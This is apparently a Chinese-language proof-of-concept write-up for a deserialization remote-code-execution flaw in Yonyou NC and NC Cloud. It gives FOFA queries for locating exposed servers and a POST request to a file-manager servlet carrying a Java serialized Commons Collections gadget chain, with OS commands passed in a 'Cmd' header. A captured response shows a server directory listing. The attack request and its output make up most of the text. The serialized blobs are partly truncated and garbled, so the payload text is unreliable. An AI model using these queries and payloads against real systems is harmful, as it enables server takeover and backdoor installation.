

Y8-19用友-NCCloud-反序列化RCE

漏洞描述:

用友 NC及NC Cloud 存在多处反序列化代码执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

网站图片:



Copyright ©2019用友网络科技股份有限公司版权所有

网络测绘:

fofa语法:

```
banner="nccloud" || header="nccloud" || (body="platform/yonyou-yyy.js" && body="platform/ca/ncsign.js") || body="window.location.href='platform/pub/welcome.do';" || (body="UFIDA" && body="logo/images/") || body="logo/images/ufida_nc.png" || title="Yonyou NC" || body=""
```

```
" || body="
```

漏洞复现:

payload:

```
POST /servlet/~ecappub/nc.impl.ecpubapp.filemanager.service.ECFileManageServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami
Accept-Encoding: gzip
Content-Length: 20434

{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x02?@\x00\x00\x00\x00\x01sr\x004org.apache.commons.cc
```

效果图:

[数据包扫描](#)
[热加载](#)
[构造请求](#)


```
1 POST /servlet/~ecappub/nc.impl.ecubapp.filemanager.service.ECFileManagerServlet HTTP/1.1
2 Host : 4:8899
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
4 Cmd: dir
5 Accept-Encoding: gzip
6 Content-Length: 20434
7
8 {{unquote("\xac\xed\x00\x05sr\x00\x11java.util.
  HashSet\xba0\x85\x95\x96\x8b\x74\x03\x00\x00pxp\x0c\x00\x00\x02
  \x00\x00\x00\x00\x00\x001sr\x004org.apache.commons.collections.keyvalue.
  TiedMapEntry\x8a\xad\x2d\x9b9\xcl\x1f\xdb\x02\x00\x02L\x00\x03key\x00\x12Ljava/lang/Object;
  L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00\x03foos\x00*org.apache.commons.collections.map.
  LazyMapn\x05\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00Lorg/apache/commons/collections/
  Transformer;xpsr\x00:org.apache.commons.collections.functors.
  ChainedTransformer0xc7\x97xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTransformerst\x00-[org/apache/
  commons/collections/Transformer;xpur\x00-[org.apache.commons.collections.Transformer;x
  \xbdv*\xf1\xdb84\x18\x99\x02L\x00\x00xp\x00\x00\x00\x07sr\x00:org.apache.commons.collections.functors.
  ConstantTransformerKv\x90\x11A\x02\x01\x94\x02\x00\x01L\x00\x09iConstant0\x00\x03xprv\x00*org.
  mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
  apache.commons.collections.functors.InvokerTransformer\x87\xe8\xffk\x7b[\xc8\x02\x00\x03
  [\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethodNamet\x00\x12Ljava/lang/String;
  [\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;
  \x90\xce\x9f\x105\x291\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;
  \xab\x16\x17\xae\xcb\xcd\x91\x02\x00\x00xp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
  0\x1a\x00\x00\x00\x01vq\x00-\x00\x1asq\x00-\x00\x13uq\x00-\x00\x18\x00\x00\x00\x01uq\x00-\x00\x18\x00
  0\x00\x00\x00\x00\x00bnewInstanceuq\x00-\x00\x1a\x00\x00\x00\x01vq\x00-\x00\x18sq\x00-\x00\x13uq\x00
  ~\x00\x18\x00\x00\x00\x00\x02L\x00\x00\x024ur\x00\x02
```

美化

```

1 HTTP/1.1 200 OK
2 ENTRY: 1
3 Set-Cookie: JSESSIONID=688107083C770E1CFDC
4 Date: Sun, 17-Dec-2023 08:42:48 GMT
5 Server: Microsoft-IIS
6 Content-Length: 2756
7
8 -----
9 D:\eI\k\BC4E-2817
10
11 D:\yonyou\ncchome\LX
12
13 2023-12-09 11:54: <DIR> .....
14 2023-12-09 11:54: <DIR> .....
15 2023-11-25 01:24: <DIR> .....ant
16 2023-11-25 01:24: <DIR> .....bin
17 2021-07-23 13:05: <DIR> .....dist
18 2019-11-20 20:24: <DIR> .....driver
19 2021-07-23 13:05: <DIR> .....ejb
20 2021-07-23 13:05: <DIR> .....ejbXML
21 2019-11-21 09:46: <DIR> .....0-existst
22 2019-08-19 16:42: <DIR> .....extern
23 2019-03-25 10:22: <DIR> .....framew
24 2023-12-15 19:08: <DIR> .....glexce
25 2023-11-25 01:24: <DIR> .....272-hBZdPt
26 2019-08-19 16:42: <DIR> .....hBZdPt

```

 提取内容